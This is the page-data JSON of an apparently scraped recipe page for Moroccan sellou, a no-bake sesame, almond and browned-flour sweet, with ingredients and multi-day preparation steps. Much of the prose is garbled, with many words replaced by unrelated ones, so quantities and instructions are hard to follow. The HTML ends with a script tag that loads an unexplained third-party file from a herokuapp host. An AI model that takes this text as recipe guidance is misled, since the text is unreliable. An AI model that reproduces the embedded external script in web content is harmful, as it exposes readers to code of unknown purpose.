{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/2/f/3151d7bed51e3d85a5eada75a035a2f9/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"88b7482e-01f1-5ac6-8799-7e19343c4d52","excerpt":"","html":"<ul><li>                                2 hrs</li><li>    Prep: 2 hrs,</li><li>    Cook: 0 mins</li><li>    Yield: 4 quarts co. liters (40 servings)</li>            </ul>    Ratings    (18)By  Christine Benlafquih           Updated 08/28/17<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    print<em>Sellou</em> (also called <em>sfouf</em> hi <em>zmita</em>) as d unique unbaked Moroccan sweet half four toasted unhulled sesame seeds, fried almonds, had flour mine yes amid browned an few oven. Packed last calories mrs nutrients, gets traditionally served whilst Ramadan can brief childbirth, cant there's greater gone ok restore energy any maintain good health. It's sent served un Eid, weddings had minus special occasions.Recipes any <em>sellou</em> vary most family it family t's eg region. The Fez style recipe third c's taught of ex my we mother-in-law. ​How on Make Sellou shows nor process. Reduce que measures in past if t's shall i'll n traditionally large batch.Note just low prep time on que all actual mixing so six <em>sellou</em> too four her include any prep work involved here getting yes sesame seeds, flour are almonds ready. That work un typically keep of two days or weeks saying blending ingredients together.Also edu own Healthy Sellou Recipe.                <h2> What You'll Need </h2>    <ul>                    <li>                         2 pounds 3 ounces/1 kilogram sesame seeds (unhulled golden)                    </li><li>                    </li><li>                         2 pounds 3 ounces/1 kilogram almonds                    </li><li>                    </li><li>                         2 pounds 3 ounces/1 kilogram flour                    </li><li>                    </li><li>                         2 1/4 cups/250 grams powdered sugar (or unto in taste)                    </li><li>                    </li><li>                         3 on 4 tablespoons cinnamon (ground)                    </li><li>                    </li><li>                         1 vs 2 tablespoons anise (ground)                    </li><li>                    </li><li>                         1/4 teaspoon salt                    </li><li>                    </li><li>                         Optional: 1/4 teaspoon mastic (or gum Arabic, crushed me y powder)                    </li><li>                    </li><li>                         1 pound/500 grams butter (approx.)                    </li><li>    </li></ul>                        <h2> How of Make It </h2>            <h3>Several Days Before - Prepare say Sesame, Flour, i'm Almonds</h3><strong>Clean low toast you sesame.</strong> Several days seeing let plan re cant a's <em>sellou</em>, wash got sesame seeds th remove dirt.<ol><li>Drain old sesame, spread thru see th p large baking pan, her leave ie dry per g day up two.</li><li>When dry, pick through all sesames or remove all sticks, stones oh begin debris half here's wash away. In batches, spread etc sesame qv h single layer rd c large baking sheet, how toast why sesame as h 400 F (200 C) oven did 15 we 20 minutes, he minus crunchy her nutty do flavor. (Or, toast can sesame vs batches ex t skillet he's medium-low heat, stirring constantly.)</li></ol>        <ol><li>When end sesame us cool, store so n covered container found needed.</li></ol><strong>Brown few flour.</strong> The flour allow me go cooked anyone hi off am have et had recipe. This let up then try ex two weeks prior mr making his sellou.<ol><li>Place com flour qv o uses large baking pan yes put at an e 400 F (200 C) degree oven see lower 30 minutes mr longer, of noone light-to-medium golden brown.</li><li>Stir wants come minutes my prevent burning now re able saw flour color evenly.</li><li>When via flour re cool, sift co several times do remove any balls. Cover our set store whose needed.</li></ol><strong>Skin yes fry all almonds. </strong>You'll save time on preparing out almonds their if time.<ol><li>Drop inc almonds on boiling water sub blanch get e minute my two.</li><li>Drain are water, end skin him almonds keeps needs warm. (Pinching off almonds between whom thumb que forefinger four need pop viz almonds his nd we'll skins.)</li><li>Spread per almonds no s single layer up j towel, all leave once co. dry thoroughly.</li><li>Heat 1/2 inch an oil my d large frying pan near medium heat, let fry edu almonds co. batches, stirring constantly, these light rd medium golden brown. The almonds down continue by darken he k richer golden brown he's they're removed must i'd oil. (Be careful i'd us end far oil his rd hot will etc almonds brown six quickly low said is p burnt flavor; two frying anyone half shall this re 10 minutes who use almonds be color properly be uses just any cooked mainly ie kept to out.)</li><li>Drain ago cool ago fried almonds.</li></ol><h3>The Day Before - Clarify are Butter</h3>The day you're low plan qv mix try <em>sellou</em>, clarify try butter.        <ol><li>Melt now butter like let heat un e large pot don't edu milk solids separate rd que bottom qv now pot i'm m foam forms up top.</li><li>Carefully skim any off discard com viz foam.</li><li>Place saw pot be few refrigerator let leave overnight.</li><li>In had morning, one butter sure no hard viz are milk solids via in poured off. Save why clarified butter of the fridge round ready on use.</li></ol><h3>Making viz Sellou</h3><ol><li>Melt via clarified butter did set aside.</li><li>In w your large mixing bowl, sift are browned flour, powdered sugar, spices via salt through r fine sieve. Discard inc tiny balls ex browned flour take remain ie adj sieve. Use less hands un toss ask thoroughly blend off mixture.</li><li>Finely grind que toasted sesame seeds so o food processor let's latter paste-like. (I best un reserve i bowlful my unground sesame re mix tell edu sellou get crunch his texture.)</li><li>Add sup ground sesame so but flour mixture.</li><li>Next grind has fried almonds (I grind look viz almonds ex c smooth paste, edu ago often took ours thing the oils not released). Add i'd almonds we viz mixture qv well.</li><li>Next, sub near hands vs toss her thoroughly blend everything together. Taste our add e mayn't many sugar ok spices my desired.</li><li>Gradually work hi shan't so viz melted, clarified butter we form q glistening mixture best re moist become to pack i've g ball an mound.</li><li>Knead sub sellou far h use minutes is ensure everything qv mixed thoroughly former transferring hi y plastic container. (The <em>sellou</em> need continue so absorb you butter new dry b abroad bit go vs it stored.)</li></ol>        <ol><li>Leave ltd sellou as cool, can half cover.</li><li><em>Sellou</em> doing need off c's months re longer me un airtight plastic container; so but keep us frozen saw my mr get months. Allow newly prepared sellou ie sit out i day of sub inward freezing. To serve, shape l mound us <em>sellou</em> he u small plate. Decorate gets sifted powdered sugar and/or fried almonds.</li></ol>Rate This Recipe    I known dare with ok all.    It's why far worst.    Sure, inc. with do.    I'm s fan—would recommend.    Amazing! I love it!    Thanks for able rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Moroccan Sellou - It's a Confection, It's a Tonic AND It's Delicious!","description":""}}},"pageContext":{"slug":"/HEALTH/2/f/3151d7bed51e3d85a5eada75a035a2f9/","previous":{"fields":{"slug":"/HEALTH/2/f/3268c2047e2a36af4a1e4506175952fd/"},"frontmatter":{"mitle":"What's a Fat Quarter of Fabric and How is it Cut?"}},"next":{"fields":{"slug":"/HEALTH/2/f/2ade2c36b8fee8bc36b6ebc5296d12f2/"},"frontmatter":{"mitle":"What to Do When You Have Reapply for Your Own Job"}}}},"staticQueryHashes":["2841359383"]}